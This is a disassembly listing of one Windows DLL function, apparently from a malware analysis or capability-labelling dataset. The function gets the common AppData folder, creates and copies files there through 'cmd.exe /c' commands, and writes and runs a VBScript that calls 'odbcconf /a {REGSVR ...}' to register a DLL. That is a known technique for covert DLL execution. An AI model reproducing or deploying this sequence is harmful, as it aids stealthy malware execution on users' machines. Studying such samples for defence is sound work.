Function at 0x18001250c
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xb8]
sub rsp, 0x190
mov qword [rbp + 0x80], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov r15, r9
mov rbx, r8
mov r14, rdx
mov rsi, rcx
xorps xmm0, xmm0
movdqu xmmword [rbp + 8], xmm0
xor r12d, r12d
mov qword [rbp + 0x18], r12
mov byte [rsp + 0x20], r12b
lea r8, [rsp + 0x20]
lea rcx, [rbp + 8]
call fcn.180012ba4
xor r9d, r9d
lea r8d, [r12 + 0x23]
mov rdi, qword [rbp + 8]
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jne 0x18001258e
lea ebx, [rax + 2]
jmp 0x180012b5a
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x60], r12
mov r13d, 0xf
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x58], r12
mov byte [rsp + 0x48], r12b
cmp byte [rdi], r12b
jne 0x1800125b7
mov r8, r12
jmp 0x1800125c4
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdi + r8], r12b
jne 0x1800125bb
mov rdx, rdi
lea rcx, [rsp + 0x48]
call fcn.18000697c
nop
cmp qword [rsp + 0x58], r12
jne 0x1800125e6
mov ebx, 2
lea esi, [rbx + 0xe]
jmp 0x180012b2e
mov r8, rsi
lea rdx, [0x1800f4ef0]
lea rcx, [rsp + 0x28]
call fcn.180011b84
nop
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.18000abd8
nop
mov rdx, qword [rsp + 0x40]
mov esi, 0x10
cmp rdx, rsi
jb 0x180012630
inc rdx
lea r8d, [rsi - 0xf]
mov rcx, qword [rsp + 0x28]
call fcn.1800062ec
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r12
mov byte [rsp + 0x28], r12b
lea rax, [rsp + 0x48]
cmp rbx, rax
je 0x18001265d
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0x48]
mov rcx, rbx
call fcn.180006a7c
cmp byte [rbp + 0xe0], r12b
je 0x180012670
mov ebx, 1
jmp 0x180012b2e
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], rsi
cmovae rcx, qword [rsp + 0x48]
call fcn.1800124e8
test eax, eax
je 0x180012691
mov ebx, r12d
jmp 0x180012b2e
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x48], r12
mov byte [rbp - 0x58], r12b
mov r8d, 7
lea rdx, str._mkdir
lea rcx, [rbp - 0x58]
call fcn.18000697c
nop
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rbx
lea rcx, [rbp - 0x58]
call fcn.18000abd8
mov r8d, 1
lea rdx, [0x1800f4f4c]
lea rcx, [rbp - 0x58]
call fcn.18000aaa0
lea r8, [rbp - 0x58]
lea rdx, str.cmd.exe__c
lea rcx, [rsp + 0x28]
call fcn.180011b84
nop
cmp qword [rax + 0x18], rsi
jb 0x180012704
mov rax, qword [rax]
mov rcx, rax
call fcn.18005bfa0
mov ebx, eax
mov rdx, qword [rsp + 0x40]
cmp rdx, rsi
jb 0x18001272b
inc rdx
mov r8d, 1
mov rcx, qword [rsp + 0x28]
call fcn.1800062ec
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r12
mov byte [rsp + 0x28], r12b
test ebx, ebx
je 0x180012745
mov ecx, ebx
call fcn.1800124ac
lea r8, [0x1800f4ef0]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x28]
call fcn.180012db8
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.180012ea4
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, rsi
jb 0x180012789
inc rdx
mov r8d, 1
mov rcx, qword [rsp + 0x28]
call fcn.1800062ec
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r12
mov byte [rsp + 0x28], r12b
mov r8d, 4
lea rdx, str..dll
lea rcx, [rbp + 0x20]
call fcn.18000aaa0
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x28], r12
mov byte [rbp - 0x38], r12b
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, r15
lea rcx, [rbp - 0x38]
call fcn.180006a7c
nop
lea r8, [0x1800f4ef0]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x68]
call fcn.180012db8
nop
mov r8, r14
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.180012ea4
nop
lea r8, str..mbx
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.1800110c4
nop
mov rdx, qword [rsp + 0x40]
mov r14d, 1
cmp rdx, rsi
jb 0x180012832
inc rdx
mov r8d, r14d
mov rcx, qword [rsp + 0x28]
call fcn.1800062ec
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r12
mov byte [rsp + 0x28], r12b
mov rdx, qword [rbp - 0x80]
cmp rdx, rsi
jb 0x18001285a
inc rdx
mov r8, r14
mov rcx, qword [rsp + 0x68]
call fcn.1800062ec
mov qword [rbp - 0x80], r13
mov qword [rsp + 0x78], r12
mov byte [rsp + 0x68], r12b
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x68], r12
mov byte [rbp - 0x78], r12b
mov r8d, 0x67
lea rdx, str.Set_objShell__CreateObject__Wscript.Shell___r_nobjShell.Run__odbcconf__a_REGSVR_my_application_path__r_n
lea rcx, [rbp - 0x78]
call fcn.18000697c
nop
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r12
mov byte [rsp + 0x28], r12b
mov r8d, 0x13
lea rdx, str.my_application_path
lea rcx, [rsp + 0x28]
call fcn.18000697c
nop
lea r8, [rbp - 0x78]
lea rdx, [rsp + 0x28]
lea rcx, [rbp + 0x20]
call fcn.180059e30
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, rsi
jb 0x1800128f1
inc rdx
mov r8, r14
mov rcx, qword [rsp + 0x28]
call fcn.1800062ec
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r12
mov byte [rsp + 0x28], r12b
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], rsi
cmovae rdx, qword [rbp - 0x78]
lea rcx, [rbp - 0x18]
cmp qword [rbp], rsi
cmovae rcx, qword [rbp - 0x18]
mov r8d, dword [rbp - 0x68]
call fcn.180059abc
lea r8, [rbp - 0x38]
lea rdx, str._c_copy
lea rcx, [rsp + 0x28]
call fcn.180011b84
nop
lea r8, [0x1800f501c]
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.1800110c4
nop
lea r8, [rbp + 0x20]
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.180012ea4
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, rsi
jb 0x180012978
inc rdx
mov r8, r14
mov rcx, qword [rsp + 0x68]
call fcn.1800062ec
mov qword [rbp - 0x80], r13
mov qword [rsp + 0x78], r12
mov byte [rsp + 0x68], r12b
mov rdx, qword [rsp + 0x40]
cmp rdx, rsi
jb 0x1800129a0
inc rdx
mov r8, r14
mov rcx, qword [rsp + 0x28]
call fcn.1800062ec
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r12
mov byte [rsp + 0x28], r12b
lea r8, [rbp + 0x60]
lea rdx, [0x1800f5030]
lea rcx, [rsp + 0x68]
call fcn.180011b84
nop
cmp qword [rax + 0x18], rsi
jb 0x1800129ce
mov rax, qword [rax]
mov rcx, rax
call fcn.18005bfa0
mov ebx, eax
mov rdx, qword [rbp - 0x80]
cmp rdx, rsi
jb 0x1800129f1
inc rdx
mov r8, r14
mov rcx, qword [rsp + 0x68]
call fcn.1800062ec
mov qword [rbp - 0x80], r13
mov qword [rsp + 0x78], r12
mov byte [rsp + 0x68], r12b
test ebx, ebx
je 0x180012a0a
mov ecx, ebx
call fcn.1800124ac
call fcn.180001150
lea r8, [rbp - 0x18]
lea rdx, str._E:vbscript
lea rcx, [rbp + 0x40]
call fcn.180011b84
nop
lea rcx, [rbp + 0x40]
call fcn.180057d80
mov ebx, 3
mov rdx, qword [rbp + 0x58]
cmp rdx, rsi
jb 0x180012a4a
inc rdx
mov r8, r14
mov rcx, qword [rbp + 0x40]
call fcn.1800062ec
mov qword [rbp + 0x58], r13
mov qword [rbp + 0x50], r12
mov byte [rbp + 0x40], r12b
mov rdx, qword [rbp + 0x78]
cmp rdx, rsi
jb 0x180012a6e
inc rdx
mov r8, r14
mov rcx, qword [rbp + 0x60]
call fcn.1800062ec
mov qword [rbp + 0x78], r13
mov qword [rbp + 0x70], r12
mov byte [rbp + 0x60], r12b
mov rdx, qword [rbp - 0x60]
cmp rdx, rsi
jb 0x180012a92
inc rdx
mov r8, r14
mov rcx, qword [rbp - 0x78]
call fcn.1800062ec
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x68], r12
mov byte [rbp - 0x78], r12b
mov rdx, qword [rbp]
cmp rdx, rsi
jb 0x180012ab6
inc rdx
mov r8, r14
mov rcx, qword [rbp - 0x18]
call fcn.1800062ec
mov qword [rbp], r13
mov qword [rbp - 8], r12
mov byte [rbp - 0x18], r12b
mov rdx, qword [rbp - 0x20]
cmp rdx, rsi
jb 0x180012ada
inc rdx
mov r8, r14
mov rcx, qword [rbp - 0x38]
call fcn.1800062ec
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x28], r12
mov byte [rbp - 0x38], r12b
mov rdx, qword [rbp + 0x38]
cmp rdx, rsi
jb 0x180012afe
inc rdx
mov r8, r14
mov rcx, qword [rbp + 0x20]
call fcn.1800062ec
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x30], r12
mov byte [rbp + 0x20], r12b
mov rdx, qword [rbp - 0x40]
cmp rdx, rsi
jb 0x180012b22
inc rdx
mov r8, r14
mov rcx, qword [rbp - 0x58]
call fcn.1800062ec
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x48], r12
mov byte [rbp - 0x58], r12b
mov rdx, qword [rsp + 0x60]
cmp rdx, rsi
jb 0x180012b4b
inc rdx
mov r8d, 1
mov rcx, qword [rsp + 0x48]
call fcn.1800062ec
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x58], r12
mov byte [rsp + 0x48], r12b
test rdi, rdi
je 0x180012b80
mov rdx, qword [rbp + 0x18]
sub rdx, rdi
mov r8d, 1
mov rcx, rdi
call fcn.1800062ec
xorps xmm0, xmm0
movdqu xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], r12
mov eax, ebx
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret